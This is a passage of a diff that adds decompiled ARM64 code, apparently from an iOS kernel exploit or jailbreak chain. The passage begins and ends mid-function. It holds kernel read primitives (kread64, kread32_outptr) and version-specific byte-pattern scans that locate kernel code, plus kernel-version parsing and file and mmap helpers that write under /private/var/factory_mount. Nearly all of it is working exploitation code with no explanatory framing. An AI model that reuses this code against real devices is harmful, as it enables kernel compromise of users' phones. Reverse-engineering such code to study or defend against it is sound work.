8) ) + { + sub_19D10(a1, v11); + result = kernel_pattern_scan((__int64)v11, "08 FD 64 D3 1F 21 00 F1 .. 00 00 54", 0); + if ( !result ) + return result; + v3 = result + 0xC; + return sub_1EB2C((__int64 *)a1, (__int64 *)(v3 & 0xFFFFFFFFFFFFFFFCLL), 1); + } + if ( *(_QWORD *)(a1 + 0x88) >= 0x22581401900000uLL && !krw_ctx_has_flag(*(_DWORD **)(a1 + 0x118), 0x2000) ) + { + sub_19D10(a1, v10); + result = kernel_pattern_scan((__int64)v10, ".. FD .. D3 .. 00 00 B5", 0); + if ( !result ) + return result; + v3 = result + 8; + return sub_1EB2C((__int64 *)a1, (__int64 *)(v3 & 0xFFFFFFFFFFFFFFFCLL), 1); + } + v4 = sub_1E598(a1); + sub_19D10(a1, v9); + v5 = "6B FD 62 D3 7F 19 00 F1 .. .. .. 54"; + v6 = ".. 01 .. 8B 88 D0 38 D5 E8 00 00 B5"; + if ( v4 != 1 ) + v6 = 0LL; + if ( v4 <= 1 ) + v5 = v6; + if ( v4 <= 4 ) + v7 = (char *)v5; + else + v7 = ".. FD .. D3 .. .. 00 F1 .. .. .. 54"; + result = kernel_pattern_scan((__int64)v9, v7, 0); + v8 = 0xCLL; + if ( v4 <= 1 ) + v8 = 0xFFFFFFFFFFFFFFF8LL; + if ( result ) + { + v3 = result + v8; + return sub_1EB2C((__int64 *)a1, (__int64 *)(v3 & 0xFFFFFFFFFFFFFFFCLL), 1); + } + return result; +} + +//----- (000000000001E598) ---------------------------------------------------- +__int64 __fastcall sub_1E598(__int64 a1) +{ + int v1; // w8 + + v1 = *(_DWORD *)(a1 + 0x70); + if ( v1 > 0x2257 ) + { + if ( v1 == 0x2258 || v1 == 0x225C ) + return 5LL; + if ( v1 == 0x2712 ) + return 6LL; + } + else + { + if ( (unsigned int)(v1 - 0x1F53) < 2 ) + return 4LL; + if ( v1 == 0x1809 ) + return 2LL; + if ( v1 == 0x1C1B ) + return 3LL; + } + return 0LL; +} + +//----- (000000000001E620) ---------------------------------------------------- +unsigned __int64 __fastcall sub_1E620(__int64 *a1, __int64 a2) +{ + return sub_1EB2C(a1, (__int64 *)(a2 & 0xFFFFFFFFFFFFFFFCLL), 1); +} + +//----- (000000000001E62C) ---------------------------------------------------- +__int64 __fastcall sub_1E62C(__int64 *a1) +{ + unsigned int v2; // w20 + bool v3; // zf + unsigned __int64 v4; // x0 + unsigned __int64 v5; // x8 + const char *v6; // x8 + char *v7; // x1 + __int64 result; // x0 + __int128 v9; // [xsp+0h] [xbp-60h] BYREF + __int64 v10; // [xsp+10h] [xbp-50h] + __int64 v11; // [xsp+20h] [xbp-40h] BYREF + __int64 v12; // [xsp+28h] [xbp-38h] + __int64 v13; // [xsp+30h] [xbp-30h] + __int128 v14; // [xsp+38h] [xbp-28h] BYREF + __int64 v15; // [xsp+48h] [xbp-18h] + + v2 = sub_1E598((__int64)a1); + sub_19D10((__int64)a1, &v14); + sub_19C34("__DATA_CONST", (__int64)a1, "__mod_init_func", &v11); + if ( v12 ) + v3 = v13 == 0; + else + v3 = 1; + if ( !v3 ) + { + v4 = sub_19B94(a1, v12); + if ( v4 ) + { + v5 = *((_QWORD *)&v14 + 1) - v4; + if ( *((_QWORD *)&v14 + 1) < v4 && v4 < v15 + *((_QWORD *)&v14 + 1) ) + { + *((_QWORD *)&v14 + 1) = v4; + v15 += v5; + } + } + } + v6 = "68 72 40 B9 08 01 19 32 68 72 00 B9"; + if ( v2 != 1 ) + v6 = 0LL; + if ( v2 <= 1 ) + v7 = (char *)v6; + else + v7 = "68 82 40 B9 08 01 19 32 68 82 00 B9"; + v9 = v14; + v10 = v15; + result = kernel_pattern_scan((__int64)&v9, v7, 0); + if ( result ) + { + result = sub_1EB2C(a1, (__int64 *)((result + 0xC) & 0xFFFFFFFFFFFFFFFCLL), 1); + if ( result ) + return sub_19B94(a1, result); + } + return result; +} +// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); + +//----- (000000000001E728) ---------------------------------------------------- +unsigned __int64 __fastcall sub_1E728(__int64 *a1) +{ + unsigned __int64 result; // x0 + unsigned __int64 v3; // x20 + unsigned __int64 v4; // x21 + _QWORD v5[3]; // [xsp+8h] [xbp-48h] BYREF + + sub_19D10((__int64)a1, v5); + result = kernel_pattern_scan((__int64)v5, "E0 03 15 AA .. .. .. .. FE 03 13 AA", 0); + if ( result ) + { + result = (unsigned __int64)sub_1E800(a1, (__int64 *)(result + 4)); + if ( result ) + { + v3 = result; + v4 = 0xFFFFFFFFFFFFFFFCLL; + while ( (sub_19ACC(a1, (__int64 *)(v3 + v4 + 4)) & 0x9F000000) != 0x90000000 + || (unsigned int)sub_19ACC(a1, (__int64 *)(v3 + v4 + 0xC)) >> 0x15 != 0x458 ) + { + v4 += 4LL; + if ( v4 >= 0xFC ) + return 0LL; + } + return sub_1EB2C(a1, (__int64 *)(v3 + v4 + 4), 1); + } + } + return result; +} + +//----- (000000000001E800) ---------------------------------------------------- +char *__fastcall sub_1E800(__int64 *a1, __int64 *a2) +{ + int v3; // w0 + unsigned __int64 v4; // x8 + + v3 = sub_19ACC(a1, a2); + if ( (v3 & 0x7C000000) != 0x14000000 ) + return 0LL; + v4 = *(_QWORD *)&v3 | 0xFFFFFFFFFE000000LL; + if ( (v3 & 0x2000000) == 0 ) + v4 = v3 & 0x1FFFFFF; + if ( v4 ) + return (char *)a2 + 4 * v4; + else + return 0LL; +} + +//----- (000000000001E854) ---------------------------------------------------- +unsigned __int64 __fastcall sub_1E854(__int64 *a1, __int64 *a2) +{ + return sub_1EB2C(a1, a2, 1); +} + +//----- (000000000001E85C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_1E85C(__int64 *a1, int *a2) +{ + __int64 v4; // x20 + __int64 v5; // x0 + unsigned __int64 v6; // x0 + unsigned __int64 v7; // x22 + __int64 v8; // x23 + unsigned __int64 v9; // x21 + int v10; // w8 + __int128 v12; // [xsp+0h] [xbp-60h] BYREF + __int64 v13; // [xsp+10h] [xbp-50h] + __int128 v14; // [xsp+18h] [xbp-48h] BYREF + __int64 v15; // [xsp+28h] [xbp-38h] + + v4 = a1[0x23]; + if ( krw_ctx_has_flag((_DWORD *)v4, 0x20) ) + { + sub_19D10(*(_QWORD *)(v4 + 0x19F8), &v14); + *((_QWORD *)&v14 + 1) = *((_QWORD *)&v14 + 1) + v15 - 0x20000; + v15 = 0x20000LL; + v12 = v14; + v13 = 0x20000LL; + v5 = kernel_pattern_scan((__int64)&v12, "2B 09 40 B9 4B 39 0B 8B", 0); + if ( v5 ) + { + v6 = sub_1EB2C(a1, (__int64 *)(v5 - 0x28), 1); + if ( v6 ) + { + v7 = v6; + v8 = sub_19B94(a1, v6 - 8); + if ( validate_addr(v4, v8) ) + { + if ( kread32_outptr(v4, v8, &v12) && (unsigned int)(v12 - 1) <= 0x1F ) + { + v9 = sub_19B94(a1, v7); + if ( validate_addr(v4, v9) ) + { + v10 = v12; +LABEL_12: + *a2 = v10; + return v9; + } + } + } + } + } + return 0LL; + } + else + { + v9 = sub_1E728(a1); + if ( v9 ) + { + v10 = 8; + goto LABEL_12; + } + } + return v9; +} +// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); + +//----- (000000000001E99C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_1E99C(__int64 a1, __int64 *a2, __int64 *a3) +{ + int v6; // w22 + char *v7; // x1 + unsigned __int64 result; // x0 + unsigned __int64 v9; // x23 + unsigned __int64 v10; // x22 + _QWORD v11[3]; // [xsp+8h] [xbp-48h] BYREF + + v6 = sub_1E598(a1); + sub_19D10(a1, v11); + if ( v6 ) + v7 = "5F 00 00 71 20 01 00 54"; + else + v7 = 0LL; + result = kernel_pattern_scan((__int64)v11, v7, 0); + if ( result ) + { + v9 = result; + result = sub_1EB2C((__int64 *)a1, (__int64 *)(result + 8), 1); + if ( result ) + { + v10 = result; + result = sub_1EB2C((__int64 *)a1, (__int64 *)(v9 + 0x18), 1); + if ( result ) + { + result = kread64(*(_DWORD **)(a1 + 0x118), result, a2); + if ( (_DWORD)result ) + return kread64(*(_DWORD **)(a1 + 0x118), v10, a3); + } + } + } + return result; +} + +//----- (000000000001EA70) ---------------------------------------------------- +__int64 __fastcall sub_1EA70(__int64 a1, int a2) +{ + __int64 result; // x0 + __int64 v4; // x21 + __int64 *v5; // x19 + unsigned int v6; // w20 + const char *v7; // x8 + char *v8; // x1 + _QWORD v9[3]; // [xsp+8h] [xbp-38h] BYREF + + if ( a2 > 0 ) + return 0LL; + v4 = a1 + 8LL * a2; + result = *(_QWORD *)(v4 + 0x1960); + if ( !result ) + { + if ( a2 ) + return 0LL; + v5 = *(__int64 **)(a1 + 0x19F8); + v6 = sub_1E598((__int64)v5); + sub_19D10((__int64)v5, v9); + v7 = "09 .. 00 F9 E1 03 00 32 00 00 80 52"; + if ( v6 != 1 ) + v7 = 0LL; + if ( v6 <= 1 ) + v8 = (char *)v7; + else + v8 = "09 .. 00 F9 00 00 80 52 E1 03 00 32"; + result = kernel_pattern_scan((__int64)v9, v8, 0); + if ( result ) + { + result = (__int64)sub_1E800(v5, (__int64 *)(result + 0xC)); + if ( result ) + *(_QWORD *)(v4 + 0x1960) = result; + } + } + return result; +} + +//----- (000000000001EB2C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_1EB2C(__int64 *a1, __int64 *a2, int a3) +{ + unsigned __int64 v3; // x21 + unsigned int v7; // w0 + unsigned int v8; // w0 + __int64 v9; // x9 + unsigned __int64 v10; // x9 + char *v11; // x9 + unsigned int v13; // w23 + __int64 v14; // x8 + char v15; // w25 + int v16; // w23 + __int64 *v17; // x24 + __int64 *v18; // x22 + unsigned int v19; // w0 + __int64 v20; // x8 + bool v21; // cf + unsigned __int64 v22; // x8 + + if ( ((unsigned __int8)a2 & 3) != 0 ) + return 0LL; + v7 = sub_19ACC(a1, a2); + if ( v7 == 0xD503201F ) + { + v8 = sub_19ACC(a1, (__int64 *)((char *)a2 + 4)); + v9 = (v8 >> 5) & 0x7FFFF; + if ( ((v8 >> 5) & 0x40000LL) != 0 ) + v10 = (4 * v9) | 0xFFFFFFFFFFF00000LL; + else + v10 = 4 * v9; + v11 = (char *)a2 + v10 + 4; + if ( HIBYTE(v8) == 0x58 ) + return (unsigned __int64)v11; + else + return 0LL; + } + v13 = v7; + if ( (v7 & 0x9F000000) == 0x90000000 ) + { + v3 = ((unsigned __int64)a2 & 0xFFFFFFFFFFFFF000LL) + (int)((v7 >> 0x11) & 0x3000 | (v7 >> 5 << 0xE)); + } + else + { + if ( (v7 & 0x9F000000) != 0x10000000 || (unsigned int)sub_19ACC(a1, (__int64 *)((char *)a2 + 4)) != 0xD503201F ) + return 0LL; + v14 = (v13 >> 3) & 0x1FFFFC | (v13 >> 0x1D) & 3; + if ( (v14 & 0x100000) != 0 ) + v14 |= 0xFFFFFFFFFFE00000LL; + v3 = (unsigned __int64)a2 + v14; + } + v15 = 0; + v16 = v13 & 0x1F; + v17 = a2 + 4; + v18 = (__int64 *)((char *)a2 + 4); + while ( 1 ) + { + v19 = sub_19ACC(a1, v18); + if ( (v19 & 0x7F000000) == 0x11000000 && (v15 & 1) == 0 ) + { + if ( ((v19 >> 5) & 0x1F) == v16 ) + { + v20 = (v19 >> 0xA) & 0xFFF; + if ( (v19 & 0xC00000) != 0 ) + v20 <<= 0xC; + v3 += v20; + if ( !a3 || v16 != (v19 & 0x1F) ) + return v3; + v15 = 1; + } + else + { + v15 = 0; + } + } + if ( (v19 & 0xBFC00000) == 0xB9400000 && ((v19 >> 5) & 0x1F) == v16 ) + { + v22 = (unsigned __int64)((v19 >> 0xA) & 0xFFF) << (v19 >> 0x1E); + goto LABEL_40; + } + if ( (v19 & 0xFFC00000) == 0xB9800000 ) + break; + if ( (v19 & 0xFFC00000) == 0x39400000 && ((v19 >> 5) & 0x1F) == v16 ) + { + v22 = (v19 >> 0xA) & 0xFFF; + goto LABEL_40; + } +LABEL_35: + if ( v19 != 0xD65F03C0 ) + { + v21 = v17 >= v18; + v18 = (__int64 *)((char *)v18 + 4); + if ( v21 ) + continue; + } + return v3; + } + if ( ((v19 >> 5) & 0x1F) != v16 ) + goto LABEL_35; + v22 = (v19 >> 8) & 0x3FFC; +LABEL_40: + v3 += v22; + return v3; +} + +//----- (000000000001ED50) ---------------------------------------------------- +__int64 __fastcall sub_1ED50(char *a1, size_t a2) +{ + host_t v4; // w0 + kern_return_t v5; // w0 + int v7; // w19 + int v8; // w8 + int v9[2]; // [xsp+8h] [xbp-238h] BYREF + size_t v10; // [xsp+10h] [xbp-230h] BYREF + kernel_version_t kernel_version; // [xsp+18h] [xbp-228h] BYREF + + if ( dyldVersionNumber < 800.0 ) + { + v4 = mach_host_self(); + v5 = host_kernel_version(v4, kernel_version); + if ( v5 ) + return v5 | 0x80000000; + goto LABEL_8; + } + *(_QWORD *)v9 = 0x400000001LL; + v10 = 0x200LL; + if ( !sysctl(v9, 2u, kernel_version, &v10, 0LL, 0LL) ) + { +LABEL_8: + if ( strlen(kernel_version) + 1 > a2 ) + return 0xAD00CLL; + strlcpy(a1, kernel_version, a2); + return 0LL; + } + v7 = *__error(); + v8 = *__error(); + if ( v7 < 0 ) + v8 = -v8; + return v8 | 0x40000000u; +} + +//----- (000000000001EE6C) ---------------------------------------------------- +__n128 __fastcall kernel_version_parse(__int64 a1, _DWORD *a2, _DWORD *a3) +{ + __n128 result; // q0 + char *v7; // x0 + int v8; // w0 + size_t v9; // x0 + char *v10; // x0 + __int128 v11; // [xsp+40h] [xbp-250h] + __int64 v12; // [xsp+50h] [xbp-240h] + char __big[512]; // [xsp+58h] [xbp-238h] BYREF + + v12 = 0LL; + LODWORD(v11) = 0; + if ( dyldVersionNumber >= 1000.0 ) + { + __strlcpy_chk(); + v9 = strlen(__big); + if ( v9 ) + { + if ( __big[v9 - 1] == 0xA ) + __big[v9 - 1] = 0; + if ( madvise(0LL, 0LL, 0xA) ) + { + if ( *__error() == 0x2D ) + { + v10 = strstr(__big, "Libsyscall-"); + if ( v10 ) + { + v8 = sscanf(v10, "Libsyscall-%d.%d.%d.%d.%d%*s"); +LABEL_13: + if ( v8 >= 3 ) + { + *a2 = 1; + *a3 = 1; + DWORD1(v11) = 0; + *((_QWORD *)&v11 + 1) = 0LL; + LOBYTE(v12) = 1; + result = 0u; + *(_QWORD *)(a1 + 0x20) = v12; + *(_OWORD *)a1 = 0u; + *(_OWORD *)(a1 + 0x10) = v11; + } + } + } + } + } + } + else if ( !(unsigned int)sub_1ED50(__big, 0x200uLL) ) + { + if ( strstr(__big, "RELEASE") ) + { + v7 = strstr(__big, "xnu-"); + if ( v7 ) + { + v8 = sscanf(v7, "xnu-%d.%d.%d.%d.%d%*s"); + goto LABEL_13; + } + } + } + return result; +} + +//----- (000000000001F07C) ---------------------------------------------------- +__int64 __fastcall sub_1F07C(vm_map_read_t a1, mach_vm_address_t a2, _QWORD *a3) +{ + mach_msg_type_number_t infoCnt; // [xsp+Ch] [xbp-34h] BYREF + int info; // [xsp+10h] [xbp-30h] BYREF + __int64 v7; // [xsp+18h] [xbp-28h] + __int64 v8; // [xsp+20h] [xbp-20h] + + infoCnt = 8; + if ( mach_vm_page_info(a1, a2, 1, &info, &infoCnt) ) + return 0LL; + if ( a3 ) + *a3 = v8; + return v7; +} + +//----- (000000000001F0D8) ---------------------------------------------------- +__int64 number_of_cpus() +{ + return (unsigned __int8)((unsigned int)j___get_cpu_capabilities() >> 0x10); +} +// 4103C: using guessed type __int64 j___get_cpu_capabilities(void); + +//----- (000000000001F0F4) ---------------------------------------------------- +unsigned __int64 sub_1F0F4() +{ + unsigned __int64 result; // x0 + + result = sub_41040(); + if ( result ) + return *(_QWORD *)(result + 0x38); + return result; +} + +//----- (000000000001F114) ---------------------------------------------------- +__int64 sub_1F114() +{ + host_t v0; // w0 + vm_size_t v2; // [xsp+8h] [xbp-8h] BYREF + + v0 = mach_host_self(); + if ( host_page_size(v0, &v2) ) + return 0LL; + else + return (unsigned int)v2; +} + +//----- (000000000001F148) ---------------------------------------------------- +__int64 __fastcall sub_1F148(task_name_t a1) +{ + mach_msg_type_number_t task_info_outCnt; // [xsp+4h] [xbp-17Ch] BYREF + integer_t task_info_out[90]; // [xsp+8h] [xbp-178h] BYREF + + task_info_outCnt = 0x24; + if ( task_info(a1, 0x16u, task_info_out, &task_info_outCnt) ) + return 0LL; + else + return (unsigned int)task_info_out[3]; +} + +//----- (000000000001F190) ---------------------------------------------------- +__int64 sub_1F190() +{ + int v0; // w8 + unsigned int StatusReg; // w9 + + if ( dyldVersionNumber >= 900.0 ) + { + v0 = 0xFFF; + StatusReg = _ReadStatusReg(ARM64_SYSREG(3, 3, 0xD, 0, 2)); + } + else + { + v0 = 7; + StatusReg = _ReadStatusReg(ARM64_SYSREG(3, 3, 0xD, 0, 3)); + } + return v0 & StatusReg; +} + +//----- (000000000001F1C8) ---------------------------------------------------- +__int64 __fastcall sub_1F1C8(task_name_t a1, _QWORD *a2, _QWORD *a3) +{ + __int64 result; // x0 + __int64 v6; // x8 + mach_msg_type_number_t task_info_outCnt; // [xsp+4h] [xbp-18Ch] BYREF + integer_t task_info_out[38]; // [xsp+8h] [xbp-188h] BYREF + __int64 v9; // [xsp+A0h] [xbp-F0h] + __int64 v10; // [xsp+A8h] [xbp-E8h] + + task_info_outCnt = 0x2A; + result = task_info(a1, 0x16u, task_info_out, &task_info_outCnt); + if ( !(_DWORD)result ) + { + if ( task_info_outCnt == 0x2A ) + { + result = 0LL; + v6 = v10; + *a2 = v9; + *a3 = v6; + } + else + { + return 4LL; + } + } + return result; +} + +//----- (000000000001F240) ---------------------------------------------------- +unsigned __int64 __fastcall sub_1F240(_DWORD *a1) +{ + unsigned __int64 result; // x0 + + result = sub_41040(); + if ( result ) + { + *a1 = *(_DWORD *)(result + 0x80); + return 1LL; + } + return result; +} + +//----- (000000000001F274) ---------------------------------------------------- +__int64 __fastcall sub_1F274(unsigned int a1, _QWORD *a2) +{ + __int64 v2; // x19 + _DWORD *v5; // x0 + _DWORD *v6; // x22 + _DWORD *v7; // x0 + + v2 = 0xAD009LL; + if ( a1 < 4 ) + return 0xAD001LL; + v5 = calloc(0x10uLL, 1uLL); + if ( v5 ) + { + v6 = v5; + v7 = calloc(a1, 1uLL); + *(_QWORD *)v6 = v7; + if ( v7 ) + { + v2 = 0LL; + *v7 = 0xD3; + v6[2] = 4; + v6[3] = a1; + *a2 = v6; + } + else + { + free(v6); + } + } + return v2; +} + +//----- (000000000001F308) ---------------------------------------------------- +__int64 __fastcall sub_1F308(__int64 *a1, int a2, size_t __n, _QWORD *__src) +{ + __int64 result; // x0 + unsigned int v6; // w9 + unsigned int v7; // w9 + __int64 v8; // x10 + __int64 v9; // x9 + unsigned int v10; // w10 + unsigned int v11; // w8 + int v12; // w20 + + result = 0xAD001LL; + if ( !BYTE3(__n) ) + { + v6 = ((a2 & 0x7F000000u) - 0x1000000) >> 0x18; + if ( v6 <= 0xB ) + { + if ( ((1 << v6) & 0xC07) != 0 ) + { + v7 = 4; + } + else if ( ((1 << v6) & 0x380) != 0 ) + { + v7 = (__n + 7) & 0xFFFFFFFC; + } + else + { + if ( v6 != 3 ) + return result; + v7 = 0xC; + } + v8 = *((unsigned int *)a1 + 2); + if ( v7 > *((_DWORD *)a1 + 3) - (int)v8 ) + return 0xAD00CLL; + v9 = *a1; + *(_DWORD *)(*a1 + v8) = __n | a2; + v10 = *((_DWORD *)a1 + 2) + 4; + *((_DWORD *)a1 + 2) = v10; + v11 = ((a2 & 0x7F000000u) - 0x4000000) >> 0x18; + if ( v11 - 4 < 3 ) + { + v12 = (__n + 3) & 0xFFFFFFFC; + memcpy((void *)(v9 + v10), __src, (unsigned int)__n); +LABEL_15: + result = 0LL; + *((_DWORD *)a1 + 2) += v12; + return result; + } + if ( !v11 ) + { + *(_QWORD *)(v9 + v10) = *__src; + v12 = 8; + goto LABEL_15; + } + return 0LL; + } + } + return result; +} + +//----- (000000000001F418) ---------------------------------------------------- +__int64 __fastcall sub_1F418(__int64 a1, _QWORD *a2, _DWORD *a3) +{ + __int64 v3; // x19 + size_t v5; // x22 + void *v8; // x0 + + v3 = 0xAD001LL; + if ( *(_QWORD *)a1 ) + { + v5 = *(unsigned int *)(a1 + 8); + if ( (_DWORD)v5 ) + { + if ( *(_DWORD *)(a1 + 0xC) ) + { + v8 = malloc(*(unsigned int *)(a1 + 8)); + *a2 = v8; + if ( v8 ) + { + memcpy(v8, *(const void **)a1, v5); + v3 = 0LL; + *a3 = *(_DWORD *)(a1 + 8); + } + else + { + return 0xAD009LL; + } + } + } + } + return v3; +} + +//----- (000000000001F4A4) ---------------------------------------------------- +__int64 __fastcall sub_1F4A4(void **a1) +{ + void *v2; // x0 + + v2 = *a1; + if ( v2 ) + free(v2); + *a1 = 0LL; + a1[1] = 0LL; + free(a1); + return 0LL; +} + +//----- (000000000001F4E0) ---------------------------------------------------- +__int64 __fastcall fd_make_pipe(int *a1) +{ + int v2; // w19 + int v3; // w8 + + if ( pipe(a1) ) + { + v2 = *__error(); + v3 = *__error(); + if ( v2 < 0 ) + v3 = -v3; + return v3 | 0x40000000u; + } + else if ( *a1 == 0xFFFFFFFF || a1[1] == 0xFFFFFFFF ) + { + return 0x2802ALL; + } + else + { + return 0LL; + } +} + +//----- (000000000001F550) ---------------------------------------------------- +__int64 __fastcall fd_read_test(int *a1) +{ + int v3; // w19 + int v4; // w8 + _BYTE v5[256]; // [xsp+8h] [xbp-118h] BYREF + + while ( read(*a1, v5, 0x100uLL) > 0 ) + ; + if ( *__error() == 0x23 ) + return 0LL; + v3 = *__error(); + v4 = *__error(); + if ( v3 < 0 ) + v4 = -v4; + return v4 | 0x40000000u; +} + +//----- (000000000001F5F0) ---------------------------------------------------- +__int64 __fastcall setup_two_fds(unsigned int *a1) +{ + __int64 result; // x0 + int v3; // w0 + __int64 vars8; // [xsp+18h] [xbp+8h] + + result = setup_fd(*a1); + if ( !(_DWORD)result ) + { + v3 = a1[1]; + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return setup_fd(v3); + } + return result; +} +// 1F62C: variable 'vars8' is possibly undefined + +//----- (000000000001F63C) ---------------------------------------------------- +__int64 __fastcall setup_fd(int a1) +{ + int v2; // w0 + int v3; // w0 + int v5; // w19 + int v6; // w8 + + if ( a1 == 0xFFFFFFFF ) + return 0xAD001LL; + if ( fcntl(a1, 0x49, 1LL) != 0xFFFFFFFF ) + { + v2 = fcntl(a1, 1); + if ( v2 != 0xFFFFFFFF && fcntl(a1, 2, v2 | 1u) != 0xFFFFFFFF ) + { + v3 = fcntl(a1, 3); + if ( v3 != 0xFFFFFFFF && fcntl(a1, 4, v3 | 4u) != 0xFFFFFFFF ) + return 0LL; + } + } + v5 = *__error(); + v6 = *__error(); + if ( v5 < 0 ) + v6 = -v6; + return v6 | 0x40000000u; +} + +//----- (000000000001F714) ---------------------------------------------------- +__int64 __fastcall sub_1F714(__int64 a1, const void *a2, size_t a3) +{ + ssize_t v4; // x0 + int v6; // w19 + int v7; // w8 + + v4 = write(*(_DWORD *)(a1 + 4), a2, a3); + if ( v4 < 0 ) + { + v6 = *__error(); + v7 = *__error(); + if ( v6 < 0 ) + v7 = -v7; + return v7 | 0x40000000u; + } + else if ( v4 == a3 ) + { + return 0LL; + } + else + { + return 0x2803ALL; + } +} + +//----- (000000000001F770) ---------------------------------------------------- +__int64 __fastcall sub_1F770(int *a1, void *a2, size_t a3) +{ + ssize_t v4; // x0 + int v6; // w19 + int v7; // w8 + + v4 = read(*a1, a2, a3); + if ( v4 < 0 ) + { + v6 = *__error(); + v7 = *__error(); + if ( v6 < 0 ) + v7 = -v7; + return v7 | 0x40000000u; + } + else if ( v4 == a3 ) + { + return 0LL; + } + else + { + return 0x2803BLL; + } +} + +//----- (000000000001F7CC) ---------------------------------------------------- +int *__fastcall sub_1F7CC(__int64 a1) +{ + int *result; // x0 + int v3; // w20 + int v4; // w8 + int v5; // w8 + + result = (int *)sub_14F5C(*(_QWORD *)(a1 + 8), *(const char **)a1, 0); + if ( (_DWORD)result ) + { + v3 = *__error(); + result = __error(); + v4 = *result; + if ( v3 < 0 ) + v4 = -v4; + v5 = v4 | 0x40000000; + } + else + { + v5 = 0; + } + *(_DWORD *)(a1 + 0x10) = v5; + return result; +} + +//----- (000000000001F828) ---------------------------------------------------- +int *__fastcall sub_1F828(int *a1) +{ + int *result; // x0 + int v3; // w8 + int v4; // w20 + int v5; // w8 + + result = (int *)mkdir("/private/var/factory_mount", 0x1FFu); + if ( (_DWORD)result && (result = __error(), *result != 0x11) ) + { + v4 = *__error(); + result = __error(); + v5 = *result; + if ( v4 < 0 ) + v5 = -v5; + v3 = v5 | 0x40000000; + } + else + { + v3 = 0; + } + *a1 = v3; + return result; +} + +//----- (000000000001F894) ---------------------------------------------------- +int *__fastcall sub_1F894(__int64 a1) +{ + int *result; // x0 + int v3; // w8 + int v4; // w20 + int v5; // w8 + + result = (int *)mmap( + *(void **)(a1 + 8), + *(_QWORD *)(a1 + 0x10), + *(_DWORD *)(a1 + 0x18), + 0x12, + *(_DWORD *)a1, + *(_QWORD *)(a1 + 0x20)); + if ( result == (int *)0xFFFFFFFFFFFFFFFFLL ) + { + v4 = *__error(); + result = __error(); + v5 = *result; + if ( v4 < 0 ) + v5 = -v5; + v3 = v5 | 0x40000000; + } + else + { + v3 = 0; + } + *(_DWORD *)(a1 + 0x28) = v3; + return result; +} + +//----- (000000000001F900) ---------------------------------------------------- +__int64 __fastcall sub_1F900(__int64 a1, int a2, __int64 a3, __int64 a4, int a5, __int64 a6) +{ + int v7; // [xsp+0h] [xbp-30h] BYREF + __int64 v8; // [xsp+8h] [xbp-28h] + __int64 v9; // [xsp+10h] [xbp-20h] + int v10; // [xsp+18h] [xbp-18h] + __int64 v11; // [xsp+20h] [xbp-10h] + unsigned int v12; // [xsp+28h] [xbp-8h] + + v7 = a2; + v8 = a3; + v9 = a4; + v10 = a5; + v11 = a6; + v12 = 0xAD001; + if ( pthread_create_and_join(a1, (__int64)sub_1F894, &v7) ) + return v12; + else + return 0x28003LL; +} + +//----- (000000000001F964) ---------------------------------------------------- +int *__fastcall sub_1F964(int *a1) +{ + int v2; // w20 + int *result; // x0 + int v4; // w20 + int v5; // w8 + int v6; // w8 + char v7[1025]; // [xsp+17h] [xbp-429h] BYREF + + v2 = *a1; + bzero(v7, 0x401uLL); + if ( fcntl(v2, 0x32, v7) || unlink(v7) || (result = (int *)close(v2), (_DWORD)result) ) + { + v4 = *__error(); + result = __error(); + v5 = *result; + if ( v4 < 0 ) + v5 = -v5; + v6 = v5 | 0x40000000; + } + else + { + v6 = 0; + } + a1[1] = v6; + return result; +} + +//----- (000000000001FA28) ---------------------------------------------------- +__int64 __fastcall sub_1FA28(__int64 a1, int a2) +{ + int v3; // [xsp+8h] [xbp-8h] BYREF + unsigned int v4; // [xsp+Ch] [xbp-4h] + + v3 = a2; + v4 = 0xAD001; + if ( pthread_create_and_join(a1, (__int64)sub_1F964, &v3) ) + return v4; + else + return 0x28003LL; +} + +//----- (000000000001FA7C) ---------------------------------------------------- +__int64 __fastcall sub_1FA7C(__int64 a1, __int64 a2, int a3, __int64 a4) +{ + __int64 v5; // [xsp+0h] [xbp-20h] BYREF + int v6; // [xsp+8h] [xbp-18h] + __int64 v7; // [xsp+10h] [xbp-10h] + unsigned int v8; // [xsp+18h] [xbp-8h] + + v5 = a2; + v6 = a3; + v7 = a4; + v8 = 0xAD001; + if ( pthread_create_and_join(a1, (__int64)sub_1FADC, &v5) ) + return v8; + else + return 0x28003LL; +} + +//----- (000000000001FADC) ---------------------------------------------------- +int *__fastcall sub_1FADC(__int64 a1) +{ + const void *v2; // x22 + size_t v3; // x21 + int *v4; // x25 + int *result; // x0 + int v6; // w24 + char *v7; // x0 + const char *v8; // x20 + int v9; // w0 + int v10; // w23 + unsigned int v11; // w24 + unsigned __int64 v12; // x0 + int v14; // w20 + int v15; // w8 + int v16; // w0 + int v17; // w21 + int v18; // w8 + char __str[1024]; // [xsp+10h] [xbp-CC0h] BYREF + statfs v20; // [xsp+410h] [xbp-8C0h] BYREF + + v2 = *(const void **)a1; + v3 = *(unsigned int *)(a1 + 8); + v4 = *(int **)(a1 + 0x10); + bzero(&v20, 0x878uLL); + result = (int *)sub_1FD98(&v20); + v6 = (int)result; + if ( !(_DWORD)result ) + { + snprintf(__str, 0x400uLL, "%s/temp.XXXXXX", "/private/var/factory_mount"); + v7 = mktemp(__str); + if ( !v7 || (v8 = v7, v9 = open_dprotected_np(v7, 0x602, 4, 0, 0x1EDLL), v9 < 0) ) + { + v14 = *__error(); + result = __error(); + v15 = *result; + if ( v14 < 0 ) + v15 = -v15; + v6 = v15 | 0x40000000; + } + else + { + v10 = v9; + v11 = 0; + while ( 1 ) + { + v12 = write(v10, v2, v3); + if ( v12 != 0xFFFFFFFFFFFFFFFFLL ) + break; + if ( *__error() == 4 && v11++ < 0x64 ) + continue; + v6 = 0x1B005; + goto LABEL_20; + } + v6 = 0x1B005; + if ( !HIDWORD(v12) && (_DWORD)v3 == (_DWORD)v12 ) + { + v16 = open(v8, 0); + if ( (v16 & 0x80000000) == 0 ) + { + *v4 = v16; + result = (int *)close(v10); + v6 = 0; + goto LABEL_21; + } + v17 = *__error(); + v18 = *__error(); + if ( v17 < 0 ) + v18 = -v18; + v6 = v18 | 0x40000000; + } +LABEL_20: + close(v10); + result = (int *)unlink(v8); + } + } +LABEL_21: + *(_DWORD *)(a1 + 0x18) = v6; + return result; +} + +//----- (000000000001FC94) ---------------------------------------------------- +__int64 __fastcall 